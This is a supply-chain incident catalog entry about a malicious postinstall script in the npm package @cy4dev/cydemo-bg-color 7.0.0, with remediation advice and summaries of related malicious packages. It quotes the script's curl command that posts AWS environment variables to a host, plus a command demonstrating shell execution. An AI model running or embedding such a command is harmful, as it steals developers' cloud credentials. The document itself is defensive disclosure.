Skip to content
supplychainattack.orgSupply chain attack incident catalog
resolvedcritical

Malicious code in @cy4dev/cydemo-bg-color (npm)

@cy4dev/cydemo-bg-color@7.0.0 on npm contains malicious postinstall code that exfiltrates AWS credentials and executes arbitrary shell commands on the host system during package installation.

ShareXLinkedInHacker News
Disclosed
Last updated
Blast radius
All npm users who installed @cy4dev/cydemo-bg-color@7.0.0
Ecosystems
Attack vectors
Affected entities
  • @cy4dev/cydemo-bg-color · 7.0.0

The npm package @cy4dev/cydemo-bg-color version 7.0.0 ships with a malicious postinstall lifecycle script (src/postinstall.js) that executes automatically at npm install time. The script contains two shell commands executed via node:child_process.exec.\n\nThe first command, curl -X POST -d \env | grep AWS` http://localhost:8000, enumerates all AWS_*-prefixed environment variables from the installer's shell and POSTs them as the request body. This implements a credential-exfiltration primitive targeting AWS credentials in the installer's environment. The second command, open /System/Applications/Calculator.app`, launches a GUI application on macOS, demonstrating arbitrary host-shell execution capability.\n\nThe package advertises itself as a DOM background-color helper utility, and the postinstall behavior has no legitimate build or runtime purpose consistent with that description. In this specific version, the exfiltration destination is localhost:8000 (loopback), so credentials do not leave the host, but the credential-scraping and arbitrary-execution code paths execute unconditionally on every installation.\n\nThe malicious code was identified by Amazon Inspector and credited to the OpenSSF malicious-packages project.

Indicators of compromise

Packages
  • @cy4dev/cydemo-bg-color@7.0.0

Remediation

  • Remove @cy4dev/cydemo-bg-color@7.0.0 from all environments and dependency trees
  • Audit npm install logs and process execution history for evidence of postinstall script execution
  • Rotate any AWS credentials that may have been present in environment variables during installation of the affected version
  • Review shell history and running processes on systems where the package was installed
  • Update to a patched version if available, or use an alternative package for DOM background-color manipulation
  • Consider using npm audit to identify other potentially compromised dependencies

Sources

  1. GitHub Advisory GHSA-p8f6-3vxc-6r75 · GitHub Advisory Database

Cite this entry

"Malicious code in @cy4dev/cydemo-bg-color (npm)." supplychainattack.org, Supply Chain Attack Incident Catalog. Disclosed August 7, 2026; last updated August 7, 2026. https://supplychainattack.org/incident/malicious-code-in-cy4dev-cydemo-bg-color-npm-1swbmb

Suggest a correction

Found an error or have a newer source? Corrections to factual errors take priority over new entries.

  1. resolvedcritical

    Malicious code in rust-testing-utils (npm)

    The npm package rust-testing-utils contained malicious code that impersonates the pino logger and executes remotely-fetched code with arbitrary privileges. The package spawns a child process that decodes a hardcoded URL, fetches attacker-controlled content, and executes it via Function constructor with full module-loading capability.

    npmCompromised packageMalicious commit
  2. containedcritical

    Malicious code in stillm4ddpocs-demo-sprocket (npm)

    The npm package stillm4ddpocs-demo-sprocket version 999.9.12 contains malicious code that exfiltrates system and project metadata via multiple channels (HTTPS, HTTP, and DNS) to a hardcoded callback host. The package uses a high version number to exploit dependency-confusion attacks against organizations with internal packages of the same name.

    npmCompromised packageDependency confusion
  3. containedcritical

    Malicious code in @syncraft-labs/react (npm)

    The npm package @syncraft-labs/react contained obfuscated malicious code in its ESM distribution that implements the EtherHiding pattern, fetching and executing arbitrary code from an Ethereum smart contract via RPC endpoints. The tampering occurred post-build in the dist/index.js artifact.

    npmCompromised package
  4. containedcritical

    Malware in hydration-dim-kit

    Malware was discovered in the npm package hydration-dim-kit. Any computer with this package installed or running should be considered fully compromised. All secrets and keys must be rotated immediately from a different computer.

    npmCompromised package